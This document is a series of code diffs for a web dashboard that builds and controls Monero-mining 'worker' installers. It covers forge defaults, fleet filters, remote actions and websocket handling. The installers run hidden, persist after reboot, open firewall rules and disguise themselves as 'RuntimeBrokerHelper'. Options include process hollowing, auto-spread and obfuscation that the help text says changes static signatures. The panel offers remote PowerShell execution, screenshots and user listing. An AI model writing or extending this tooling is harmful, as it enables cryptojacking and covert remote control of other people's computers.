<button type="button" disabled={!online || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button> <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('ps')}>Process List</button> <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button> <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button> <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('users')}>List Users</button> <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('software')}>Installed Software</button> <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button> <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
</div> </div>
</div> </div>
<div className="action-group mining-group"> <div className="action-group mining-group">
<h3>Mining Controls</h3> <h3>Mining Controls</h3>
<div className="button-grid"> <div className="button-grid">
<button type="button" className="btn-cyan" disabled={!online || !!busy} onClick={() => dispatch('resume')}>Resume</button> <button type="button" className="btn-cyan" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
<button type="button" className="btn-amber" disabled={!online || !!busy} onClick={() => dispatch('pause')}>Pause</button> <button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
</div> </div>
</div> </div>
<div className="action-group power-group"> <div className="action-group power-group">
<h3>System Power</h3> <h3>System Power</h3>
<div className="button-grid"> <div className="button-grid">
<button type="button" className="btn-amber" disabled={!online || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button> <button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
<button type="button" className="btn-red" disabled={!online || !!busy} onClick={() => dispatch('stop')}>Kill Process</button> <button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
<button type="button" className="btn-red" disabled={!online || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button> <button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
</div> </div>
</div> </div>
</div> </div>
@@ -185,10 +184,10 @@ export default function AgentRemoteActions({
<div className="tactical-bottom-row"> <div className="tactical-bottom-row">
<div <div
className={`drop-zone ${isDragging ? 'dragging' : ''}`} className={`drop-zone ${isDragging ? 'dragging' : ''} ${!isOnline ? 'disabled' : ''}`}
onDragOver={handleDragOver} onDragOver={isOnline ? handleDragOver : undefined}
onDragLeave={handleDragLeave} onDragLeave={handleDragLeave}
onDrop={handleDrop} onDrop={isOnline ? handleDrop : undefined}
> >
<span className="drop-icon">📥</span> <span className="drop-icon">📥</span>
<p>Drag &amp; Drop file here</p> <p>Drag &amp; Drop file here</p>
@@ -212,9 +211,9 @@ export default function AgentRemoteActions({
onChange={(e) => setCustomCmd(e.target.value)} onChange={(e) => setCustomCmd(e.target.value)}
placeholder="Enter PowerShell command..." placeholder="Enter PowerShell command..."
autoComplete="off" autoComplete="off"
disabled={!online} disabled={!isOnline}
/> />
<button type="submit" disabled={!online}>EXEC</button> <button type="submit" disabled={!isOnline}>EXEC</button>
</form> </form>
</div> </div>
</div> </div>

View File

@@ -0,0 +1,103 @@
.agents-list-panel {
flex: 1;
min-width: 0;
}
.agents-list-panel .agents-list {
display: flex;
flex-direction: column;
gap: 0.5rem;
}
.fleet-toolbar {
margin-bottom: 1rem;
padding: 0.85rem 1rem;
}
.fleet-toolbar-filters {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
align-items: center;
}
.fleet-filter-search {
flex: 1 1 180px;
min-width: 160px;
}
.fleet-filter-select {
min-width: 120px;
}
.fleet-filter-attn {
font-size: 0.85rem;
white-space: nowrap;
}
.fleet-bulk-bar {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
align-items: center;
margin-top: 0.75rem;
padding-top: 0.75rem;
border-top: 1px solid rgba(255, 255, 255, 0.08);
}
.agent-list-item.compact-row {
cursor: pointer;
padding: 0.65rem 0.85rem;
}
.agent-list-item.compact-row .agent-list-header {
margin-bottom: 0.25rem;
}
.agent-list-item.compact-row .agent-list-details,
.agent-list-item.compact-row .agent-list-meta {
font-size: 0.82rem;
opacity: 0.9;
}
.agent-list-item.expanded {
border-color: rgba(0, 245, 255, 0.35);
}
.agent-list-expand {
margin-top: 0.65rem;
padding-top: 0.65rem;
border-top: 1px solid rgba(255, 255, 255, 0.08);
}
.agent-tag-chip {
display: inline-block;
font-size: 0.7rem;
padding: 0.1rem 0.45rem;
margin-right: 0.25rem;
border-radius: 4px;
background: rgba(0, 245, 255, 0.12);
color: var(--neon-cyan, #0ff);
border: 1px solid rgba(0, 245, 255, 0.25);
}
.agent-list-notes-preview {
font-size: 0.8rem;
color: var(--text-muted, #888);
font-style: italic;
margin-top: 0.25rem;
}
.agent-list-select {
margin-right: 0.5rem;
}
.agent-meta-editor {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.agent-meta-tags-input {
font-size: 0.85rem;
}

View File

@@ -0,0 +1,92 @@
import type { FleetFilterState } from '../../help/fleetFilters';
import { collectFleetSubnets, collectFleetTags } from '../../help/fleetFilters';
import type { Agent } from '../../types';
import './FleetToolbar.css';
interface Props {
agents: Agent[];
filters: FleetFilterState;
onChange: (next: FleetFilterState) => void;
selectedCount: number;
onBulkAction: (action: string) => void;
bulkBusy: boolean;
}
export default function FleetToolbar({
agents,
filters,
onChange,
selectedCount,
onBulkAction,
bulkBusy,
}: Props) {
const tags = collectFleetTags(agents);
const subnets = collectFleetSubnets(agents);
return (
<div className="fleet-toolbar card">
<div className="fleet-toolbar-filters">
<input
type="search"
className="input fleet-filter-search"
placeholder="Search name, IP, notes, tags…"
value={filters.search}
onChange={(e) => onChange({ ...filters, search: e.target.value })}
/>
<select
className="select fleet-filter-select"
value={filters.tag}
onChange={(e) => onChange({ ...filters, tag: e.target.value })}
title="Filter by tag"
>
<option value="">All tags</option>
{tags.map((t) => (
<option key={t} value={t}>{t}</option>
))}
</select>
<select
className="select fleet-filter-select"
value={filters.subnet}
onChange={(e) => onChange({ ...filters, subnet: e.target.value })}
title="Filter by subnet"
>
<option value="">All subnets</option>
{subnets.map((s) => (
<option key={s} value={s}>{s}</option>
))}
</select>
<select
className="select fleet-filter-select"
value={String(filters.hashrateMin)}
onChange={(e) => onChange({ ...filters, hashrateMin: Number(e.target.value) })}
title="Minimum 15m hashrate"
>
<option value="0">Any hashrate</option>
<option value="1000"> 1 KH/s</option>
<option value="10000"> 10 KH/s</option>
<option value="100000"> 100 KH/s</option>
<option value="1000000"> 1 MH/s</option>
</select>
<label className="checkbox-label fleet-filter-attn">
<input
type="checkbox"
className="checkbox"
checked={filters.needsAttention}
onChange={(e) => onChange({ ...filters, needsAttention: e.target.checked })}
/>
<span>Needs attention</span>
</label>
</div>
{selectedCount > 0 && (
<div className="fleet-bulk-bar">
<span className="font-tech">{selectedCount} selected</span>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')}>Pause</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')}>Resume</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle miners</button>
</div>
)}
</div>
);
}

View File

@@ -0,0 +1,53 @@
import { describe, expect, it } from 'vitest';
import { agentNeedsAttention, agentSubnet, filterFleetAgents } from './fleetFilters';
import type { Agent } from '../types';
const base = (over: Partial<Agent>): Agent => ({
id: '1',
name: 'w1',
wallet: '',
ip: '192.168.1.10',
version: '1',
status: 'online',
cpu_cores: 4,
memory_gb: 8,
last_seen: '',
created_at: '',
hashrate_15s: 0,
hashrate_1m: 0,
hashrate_15m: 5000,
shares_total: 0,
shares_good: 0,
shares_bad: 0,
cpu_usage_pct: 0,
memory_usage_pct: 0,
uptime_seconds: 0,
tags: ['lab'],
...over,
});
const DEFAULT = {
search: '',
tag: '',
subnet: '',
hashrateMin: 0,
needsAttention: false,
};
describe('fleetFilters', () => {
it('filters by tag and subnet', () => {
const agents = [base({}), base({ id: '2', ip: '10.0.0.2', tags: [] })];
expect(filterFleetAgents(agents, { ...DEFAULT, tag: 'lab' }).length).toBe(1);
expect(filterFleetAgents(agents, { ...DEFAULT, subnet: '192.168.1.x' }).length).toBe(1);
});
it('flags offline as needs attention', () => {
expect(agentNeedsAttention(base({ status: 'offline' }))).toBe(true);
});
});
describe('agentSubnet', () => {
it('masks last octet', () => {
expect(agentSubnet('192.168.5.22')).toBe('192.168.5.x');
});
});

View File

@@ -0,0 +1,95 @@
import type { Agent } from '../types';
export interface FleetFilterState {
search: string;
tag: string;
subnet: string;
hashrateMin: number;
needsAttention: boolean;
}
export const DEFAULT_FLEET_FILTERS: FleetFilterState = {
search: '',
tag: '',
subnet: '',
hashrateMin: 0,
needsAttention: false,
};
export function agentSubnet(ip: string): string {
const parts = (ip || '').trim().split('.');
if (parts.length >= 3) return `${parts[0]}.${parts[1]}.${parts[2]}.x`;
return ip || 'unknown';
}
export function agentRejectRate(agent: Agent): number {
if (agent.shares_total <= 0) return 0;
return (agent.shares_bad / agent.shares_total) * 100;
}
export function agentNeedsAttention(agent: Agent): boolean {
if (agent.status !== 'online') return true;
if (agentRejectRate(agent) >= 5 && agent.shares_total >= 10) return true;
return false;
}
export function agentIsIdleMiner(agent: Agent): boolean {
return agent.status === 'online' && agent.hashrate_15m < 100;
}
export function collectFleetTags(agents: Agent[]): string[] {
const set = new Set<string>();
for (const a of agents) {
for (const t of a.tags || []) {
const clean = t.trim();
if (clean) set.add(clean);
}
}
return [...set].sort((a, b) => a.localeCompare(b));
}
export function collectFleetSubnets(agents: Agent[]): string[] {
const set = new Set<string>();
for (const a of agents) {
set.add(agentSubnet(a.ip));
}
return [...set].sort();
}
export function filterFleetAgents(agents: Agent[], filters: FleetFilterState): Agent[] {
const q = filters.search.trim().toLowerCase();
return agents.filter((a) => {
if (filters.needsAttention && !agentNeedsAttention(a)) return false;
if (filters.tag && !(a.tags || []).includes(filters.tag)) return false;
if (filters.subnet && agentSubnet(a.ip) !== filters.subnet) return false;
if (filters.hashrateMin > 0 && a.hashrate_15m < filters.hashrateMin) return false;
if (q) {
const hay = [
a.name,
a.ip,
a.notes || '',
...(a.tags || []),
a.id,
]
.join(' ')
.toLowerCase();
if (!hay.includes(q)) return false;
}
return true;
});
}
export function formatHashrate(h: number): string {
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
return `${h.toFixed(0)} H/s`;
}
export function formatUptime(seconds: number): string {
const d = Math.floor(seconds / 86400);
const h = Math.floor((seconds % 86400) / 3600);
const m = Math.floor((seconds % 3600) / 60);
if (d > 0) return `${d}d ${h}h`;
if (h > 0) return `${h}h ${m}m`;
return `${m}m`;
}

View File

@@ -10,7 +10,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
thread_mode: 'percent', thread_mode: 'percent',
thread_percent: 75, thread_percent: 75,
cpu_priority: 'below_normal', cpu_priority: 'below_normal',
mining_mode: 'always', mining_mode: 'idle',
display_mode: 'background', display_mode: 'background',
silent_mode: true, silent_mode: true,
run_as: 'user', run_as: 'user',
@@ -41,10 +41,13 @@ export const FORGE_BUILD_DEFAULTS: Omit<
process_hollowing: false, process_hollowing: false,
mesh_p2p: false, mesh_p2p: false,
auto_spread: false, auto_spread: false,
obfuscate: false,
sign_build: false,
}; };
export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest { export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
const publicUrl = config.server?.public_url?.trim(); const publicUrl = config.server?.public_url?.trim();
const srv = config.server;
return { return {
...FORGE_BUILD_DEFAULTS, ...FORGE_BUILD_DEFAULTS,
worker_name: '', worker_name: '',
@@ -54,5 +57,7 @@ export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: Server
pool_port: config.pool.port, pool_port: config.pool.port,
pool_tls: config.pool.use_tls, pool_tls: config.pool.use_tls,
pool_pass: config.pool.password || 'x', pool_pass: config.pool.password || 'x',
obfuscate: srv?.obfuscate_default ?? false,
sign_build: srv?.sign_enabled ?? false,
}; };
} }

View File

@@ -157,6 +157,15 @@ export function applyForgeFieldUpdate(
} }
break; break;
case 'worker_name':
if (typeof value === 'string' && value.trim()) {
const proc = value.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
if (proc && (!next.process_name || next.process_name === 'RuntimeBrokerHelper' || next.process_name.startsWith('worker-'))) {
next.process_name = proc;
}
}
break;
case 'pool_tls': case 'pool_tls':
if (value === true && next.pool_port === 3333) { if (value === true && next.pool_port === 3333) {
// common pools use 443 for TLS — warn in preflight, don't auto-change port // common pools use 443 for TLS — warn in preflight, don't auto-change port

View File

@@ -0,0 +1,26 @@
import { describe, expect, it } from 'vitest';
import { pickBestServerUrl, suggestWorkerName, applySmartForgeDefaults } from './forgeSmartDefaults';
import type { BuildRequest } from '../types';
describe('forgeSmartDefaults', () => {
it('suggests next worker-N name', () => {
expect(suggestWorkerName([{ worker_name: 'worker-1' } as any])).toBe('worker-2');
});
it('picks LAN url over localhost', () => {
expect(
pickBestServerUrl('http://localhost:8989', ['http://192.168.1.5:8989'])
).toBe('http://192.168.1.5:8989');
});
it('fills worker and process name', () => {
const form = applySmartForgeDefaults(
{ worker_name: '', server_url: '' } as BuildRequest,
{ endpointCandidates: ['http://10.0.0.2:8989'] }
);
expect(form.worker_name).toMatch(/^worker-/);
expect(form.process_name).toBeTruthy();
expect(form.server_url).toBe('http://10.0.0.2:8989');
expect(form.mining_mode).toBe('idle');
});
});

View File

@@ -0,0 +1,125 @@
import type { BuildRecord, BuildRequest, ServerConfig, ServerInfo } from '../types';
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
import { lanEndpointCandidates } from './endpointHelpers';
const WORKER_NAME_RE = /^[a-zA-Z0-9._-]+$/;
/** Suggested unique worker label for the next forge. */
export function suggestWorkerName(existing: BuildRecord[]): string {
const used = new Set(existing.map((b) => b.worker_name.trim().toLowerCase()).filter(Boolean));
for (let i = 1; i <= 999; i++) {
const name = `worker-${i}`;
if (!used.has(name)) return name;
}
return `worker-${Date.now().toString(36)}`;
}
function sanitizeProcessName(workerName: string): string {
const cleaned = workerName.replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
return cleaned || 'RuntimeBrokerHelper';
}
function isGoodServerUrl(url: string): boolean {
try {
const u = new URL(url.trim());
const host = u.hostname.toLowerCase();
return host !== 'localhost' && host !== '127.0.0.1' && host !== '::1';
} catch {
return false;
}
}
/** Pick the best control-server URL for workers on the LAN. */
export function pickBestServerUrl(current: string, candidates: string[]): string {
if (current?.trim() && isGoodServerUrl(current)) return current.trim();
const first = candidates.find(isGoodServerUrl);
return first || current?.trim() || '';
}
/** Home-LAN fleet preset — unobtrusive, persistent, no dangerous extras. */
export function recommendedForgePreset(): Partial<BuildRequest> {
return {
...FORGE_BUILD_DEFAULTS,
mining_mode: 'idle',
idle_threshold_pct: 20,
idle_duration_minutes: 5,
thread_mode: 'percent',
thread_percent: 75,
display_mode: 'background',
stealth_mode: true,
silent_mode: true,
file_logging: false,
persistence: true,
auto_start: true,
self_healing: true,
adapt_to_hardware: true,
firewall_exclusion: true,
process_hollowing: false,
mesh_p2p: false,
auto_spread: false,
ai_enabled: false,
fusion_enabled: false,
output_dir: 'exports',
};
}
export interface SmartDefaultsContext {
builds?: BuildRecord[];
endpointCandidates?: string[];
}
/** Merge Calibrate + LAN detection + recommended toggles into a ready-to-forge form. */
export function applySmartForgeDefaults(
form: BuildRequest,
ctx: SmartDefaultsContext = {}
): BuildRequest {
const preset = recommendedForgePreset();
const worker = form.worker_name?.trim() || suggestWorkerName(ctx.builds ?? []);
const serverUrl = pickBestServerUrl(form.server_url, ctx.endpointCandidates ?? []);
return {
...form,
...preset,
worker_name: worker,
server_url: serverUrl,
wallet: form.wallet?.trim() || form.wallet,
pool_host: form.pool_host || preset.pool_host!,
pool_port: form.pool_port || preset.pool_port!,
pool_tls: form.pool_tls ?? preset.pool_tls!,
pool_pass: form.pool_pass || preset.pool_pass!,
process_name: sanitizeProcessName(worker),
obfuscate: form.obfuscate ?? preset.obfuscate ?? false,
sign_build: form.sign_build ?? preset.sign_build ?? false,
};
}
export function forgeDefaultsFromServerSmart(
config: ServerConfig,
serverInfo: ServerInfo,
builds: BuildRecord[] = []
): BuildRequest {
const publicUrl = config.server?.public_url?.trim();
const srv = config.server;
const candidates = lanEndpointCandidates(serverInfo, config.port || serverInfo.port);
const base: BuildRequest = {
...recommendedForgePreset(),
worker_name: '',
server_url: publicUrl || serverInfo.suggested_url || '',
wallet: config.wallet.address,
pool_host: config.pool.host,
pool_port: config.pool.port,
pool_tls: config.pool.use_tls,
pool_pass: config.pool.password || 'x',
obfuscate: srv?.obfuscate_default ?? false,
sign_build: srv?.sign_enabled ?? false,
} as BuildRequest;
return applySmartForgeDefaults(base, { builds, endpointCandidates: candidates });
}
export const RECOMMENDED_DEFAULTS_BLURB =
'Recommended for home LAN fleets: mines when the PC is idle (~75% cores), runs hidden, persists after reboot, self-heals, and opens firewall rules on the worker. Advanced options stay off unless you enable them.';
export function isValidWorkerName(name: string): boolean {
const t = name.trim();
return t.length > 0 && WORKER_NAME_RE.test(t);
}

View File

@@ -1,24 +1,46 @@
export const SETUP_CHEATSHEET = [ export const SETUP_CHEATSHEET = [
{ {
title: '1. Calibrate the server', title: '1. Calibrate once',
body: 'Open Calibrate once: set your LAN Public URL, upstream pool, and payout wallet. This configures the control server on this PC only.', body: 'Set your Monero wallet and LAN URL on the Calibrate tab, then Save. Click “Use best defaults” if you are not sure — we fill in the detected LAN address and sensible pool settings.',
}, },
{ {
title: '2. Forge your installer', title: '2. Forge (Simple mode)',
body: 'All miner options live here — threads, install path, stealth, persistence, Fusion, AI. Incompatible mixes are blocked; grayed fields do not apply to your current picks. Green badges = baked into the .exe.', body: 'On Forge, Simple mode keeps only what you need: worker name, server URL, wallet. Everything else uses recommended defaults (idle mining, stealth, persistence). Pick a LAN chip, then FORGE INSTALLER.',
}, },
{ {
title: '3. Deploy', title: '3. Deploy',
body: 'Copy the built .exe to a worker machine (or USB). Run once — it embeds and connects back to your LAN dashboard.', body: 'Copy the .exe from the project root to each worker PC and run it once. It installs, connects back, and appears on Command Deck.',
}, },
{ {
title: '4. Command Deck', title: '4. Watch the fleet',
body: 'Watch live hashrate, CPU, and shares from every machine on your network.', body: 'Command Deck shows live hashrate. Fleet Roster has remote controls when you need them.',
}, },
]; ];
export const FIELD_HELP: Record<string, string> = { export const FIELD_HELP: Record<string, string> = {
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3', calibrate_wallet:
'Your Monero payout address. Forge copies this into new installers automatically. Must start with 4 and be ~95 characters.',
calibrate_quick_setup:
'One click fills the detected LAN URL, keeps firewall open for agents, and leaves advanced forge options at safe defaults.',
forge_simple_mode:
'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
forge_recommended_defaults:
'Idle mining (only when you are not using the PC), 75% of CPU cores, hidden window, persistence, self-healing, and worker firewall rules — good starting point for a home LAN fleet.',
obfuscate:
'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (run.bat installs it).',
sign_build:
'Signs the output .exe with your Authenticode certificate after forging. Configure the cert thumbprint in Calibrate → Forge Pipeline first.',
obfuscate_default:
'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with run.bat release.',
sign_enabled:
'When checked, new Forge forms default to signing outputs. You still need a valid code-signing cert thumbprint below.',
sign_cert_thumbprint:
'SHA-1 thumbprint from certmgr.msc → your certificate → Details. The private key must be on this control PC.',
sign_tool_path:
'Optional full path to signtool.exe. Leave blank to auto-detect from the Windows SDK.',
sign_timestamp_url:
'RFC 3161 timestamp server used during signing so signatures stay valid after the cert expires.',
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3. We auto-suggest worker-1, worker-2, …',
server_url: server_url:
'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.', 'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.',
output_dir: output_dir:

View File

@@ -1,9 +1,12 @@
import { useEffect, useRef, useCallback, useState } from 'react'; import { useEffect, useRef, useCallback, useState } from 'react';
import type { WSMessage, Agent, Share, FleetAlert, PoolStatus, AIActivityEntry } from '../types'; import type {
WSDashboardInit,
interface DashboardInit { WSAgentOffline,
agents: Agent[]; WSStatsUpdate,
} WSCommandResult,
WSAgentLog,
} from '../types/ws';
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
interface UseWebSocketReturn { interface UseWebSocketReturn {
isConnected: boolean; isConnected: boolean;
@@ -54,12 +57,12 @@ export function useWebSocket(): UseWebSocketReturn {
ws.onmessage = (event) => { ws.onmessage = (event) => {
try { try {
const msg: WSMessage = JSON.parse(event.data); const msg = JSON.parse(event.data) as WSMessage;
setLatestMessage(msg); setLatestMessage(msg);
switch (msg.type) { switch (msg.type) {
case 'init': { case 'init': {
const data = msg.payload as DashboardInit; const data = msg.payload as WSDashboardInit;
if (data.agents) setAgents(data.agents); if (data.agents) setAgents(data.agents);
break; break;
} }
@@ -69,7 +72,7 @@ export function useWebSocket(): UseWebSocketReturn {
const idx = prev.findIndex((a) => a.id === agent.id); const idx = prev.findIndex((a) => a.id === agent.id);
if (idx >= 0) { if (idx >= 0) {
const updated = [...prev]; const updated = [...prev];
updated[idx] = agent; updated[idx] = { ...updated[idx], ...agent };
return updated; return updated;
} }
return [...prev, agent]; return [...prev, agent];
@@ -77,7 +80,7 @@ export function useWebSocket(): UseWebSocketReturn {
break; break;
} }
case 'agent_offline': { case 'agent_offline': {
const { agent_id } = msg.payload as { agent_id: string }; const { agent_id } = msg.payload as WSAgentOffline;
setAgents((prev) => setAgents((prev) =>
prev.map((a) => prev.map((a) =>
a.id === agent_id ? { ...a, status: 'offline' as const } : a a.id === agent_id ? { ...a, status: 'offline' as const } : a
@@ -86,17 +89,7 @@ export function useWebSocket(): UseWebSocketReturn {
break; break;
} }
case 'stats_update': { case 'stats_update': {
const update = msg.payload as { const update = msg.payload as WSStatsUpdate;
agent_id: string;
hashrate_15s: number;
hashrate_1m: number;
hashrate_15m: number;
cpu_usage_pct: number;
memory_usage_pct?: number;
uptime_seconds?: number;
shares_submitted?: number;
shares_accepted?: number;
};
setAgents((prev) => setAgents((prev) =>
prev.map((a) => prev.map((a) =>
a.id === update.agent_id a.id === update.agent_id
@@ -115,6 +108,7 @@ export function useWebSocket(): UseWebSocketReturn {
(update.shares_submitted ?? a.shares_total) - (update.shares_submitted ?? a.shares_total) -
(update.shares_accepted ?? a.shares_good) (update.shares_accepted ?? a.shares_good)
), ),
status: 'online' as const,
} }
: a : a
) )
@@ -150,17 +144,15 @@ export function useWebSocket(): UseWebSocketReturn {
break; break;
} }
case 'command_result': { case 'command_result': {
const { agent_id } = msg.payload as { agent_id?: string }; const p = msg.payload as WSCommandResult;
if (agent_id && msg.payload && typeof msg.payload === 'object') { const agent_id = p.agent_id;
const p = msg.payload as { action?: string; message?: string; success?: boolean }; if (agent_id && p.action === 'get_log' && p.success && p.message) {
if (p.action === 'get_log' && p.success && p.message) { setAgentLogs((prev) => ({ ...prev, [agent_id]: p.message! }));
setAgentLogs((prev) => ({ ...prev, [agent_id]: p.message! }));
}
} }
break; break;
} }
case 'agent_log': { case 'agent_log': {
const { agent_id, content } = msg.payload as { agent_id: string; content: string }; const { agent_id, content } = msg.payload as WSAgentLog;
if (agent_id) { if (agent_id) {
setAgentLogs((prev) => ({ ...prev, [agent_id]: content })); setAgentLogs((prev) => ({ ...prev, [agent_id]: content }));
} }

View File

@@ -1,11 +1,22 @@
import { useState, useEffect } from 'react'; import { useState, useEffect, useMemo, useCallback } from 'react';
import { api } from '../api/client'; import { api } from '../api/client';
import { useWebSocket } from '../hooks/useWebSocket'; import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, HashrateSample } from '../types'; import type { Agent, HashrateSample } from '../types';
import HashrateChart from '../components/Charts/HashrateChart'; import HashrateChart from '../components/Charts/HashrateChart';
import NeonCard from '../components/NeonCard/NeonCard'; import NeonCard from '../components/NeonCard/NeonCard';
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions'; import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
import AgentListItem from '../components/Fleet/AgentListItem';
import FleetToolbar from '../components/Fleet/FleetToolbar';
import {
DEFAULT_FLEET_FILTERS,
filterFleetAgents,
agentIsIdleMiner,
formatHashrate,
formatUptime,
} from '../help/fleetFilters';
import type { FleetFilterState } from '../help/fleetFilters';
import '../components/Fleet/FleetPanels.css'; import '../components/Fleet/FleetPanels.css';
import '../components/Fleet/FleetToolbar.css';
import '../components/Fleet/AgentRemoteActions.css'; import '../components/Fleet/AgentRemoteActions.css';
import './Pages.css'; import './Pages.css';
@@ -13,11 +24,19 @@ export default function AgentsPage() {
const { agents: liveAgents, isConnected, agentLogs, latestMessage } = useWebSocket(); const { agents: liveAgents, isConnected, agentLogs, latestMessage } = useWebSocket();
const [agents, setAgents] = useState<Agent[]>([]); const [agents, setAgents] = useState<Agent[]>([]);
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null); const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
const [expandedId, setExpandedId] = useState<string | null>(null);
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
const [bulkBusy, setBulkBusy] = useState(false);
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]); const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
const [loading, setLoading] = useState(true); const [loading, setLoading] = useState(true);
const [loadError, setLoadError] = useState(''); const [loadError, setLoadError] = useState('');
const [logContent, setLogContent] = useState(''); const [logContent, setLogContent] = useState('');
const [logLoading, setLogLoading] = useState(false); const [logLoading, setLogLoading] = useState(false);
const [notesDraft, setNotesDraft] = useState('');
const [tagsDraft, setTagsDraft] = useState('');
const [metaSaving, setMetaSaving] = useState(false);
const [metaMsg, setMetaMsg] = useState('');
useEffect(() => { useEffect(() => {
api.listAgents() api.listAgents()
@@ -33,6 +52,8 @@ export default function AgentsPage() {
const updated = liveAgents.find((a) => a.id === selectedAgent.id); const updated = liveAgents.find((a) => a.id === selectedAgent.id);
if (updated) { if (updated) {
setSelectedAgent(updated); setSelectedAgent(updated);
setNotesDraft(updated.notes || '');
setTagsDraft((updated.tags || []).join(', '));
} else { } else {
setSelectedAgent(null); setSelectedAgent(null);
setLogContent(''); setLogContent('');
@@ -45,6 +66,11 @@ export default function AgentsPage() {
} }
}, [selectedAgent?.id, agentLogs]); }, [selectedAgent?.id, agentLogs]);
const filteredAgents = useMemo(
() => filterFleetAgents(agents, filters),
[agents, filters]
);
const refreshLog = async (refresh = false) => { const refreshLog = async (refresh = false) => {
if (!selectedAgent) return; if (!selectedAgent) return;
setLogLoading(true); setLogLoading(true);
@@ -60,6 +86,9 @@ export default function AgentsPage() {
const selectAgent = async (agent: Agent) => { const selectAgent = async (agent: Agent) => {
setSelectedAgent(agent); setSelectedAgent(agent);
setNotesDraft(agent.notes || '');
setTagsDraft((agent.tags || []).join(', '));
setMetaMsg('');
setLogContent(''); setLogContent('');
try { try {
const history = await api.getAgentStats(agent.id, 60); const history = await api.getAgentStats(agent.id, 60);
@@ -69,15 +98,75 @@ export default function AgentsPage() {
} }
}; };
const saveMeta = async () => {
if (!selectedAgent) return;
setMetaSaving(true);
setMetaMsg('');
const tags = tagsDraft.split(',').map((t) => t.trim()).filter(Boolean);
try {
const res = await api.updateAgentMeta(selectedAgent.id, notesDraft, tags);
const updated = res.agent;
setAgents((prev) => prev.map((a) => (a.id === updated.id ? { ...a, ...updated } : a)));
setSelectedAgent((prev) => (prev?.id === updated.id ? { ...prev, ...updated } : prev));
setMetaMsg('Saved');
setTimeout(() => setMetaMsg(''), 2000);
} catch (err) {
setMetaMsg(err instanceof Error ? err.message : 'Save failed');
} finally {
setMetaSaving(false);
}
};
const toggleSelect = useCallback((id: string, on: boolean) => {
setSelectedIds((prev) => {
const next = new Set(prev);
if (on) next.add(id);
else next.delete(id);
return next;
});
}, []);
const handleBulkAction = async (action: string) => {
const ids = [...selectedIds];
if (ids.length === 0) return;
let targetIds = ids;
if (action === 'restart_idle') {
targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
if (targetIds.length === 0) {
alert('No selected online agents with idle hashrate (< 100 H/s).');
return;
}
action = 'restart';
}
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
if (onlineIds.length === 0) {
alert('No online agents in selection.');
return;
}
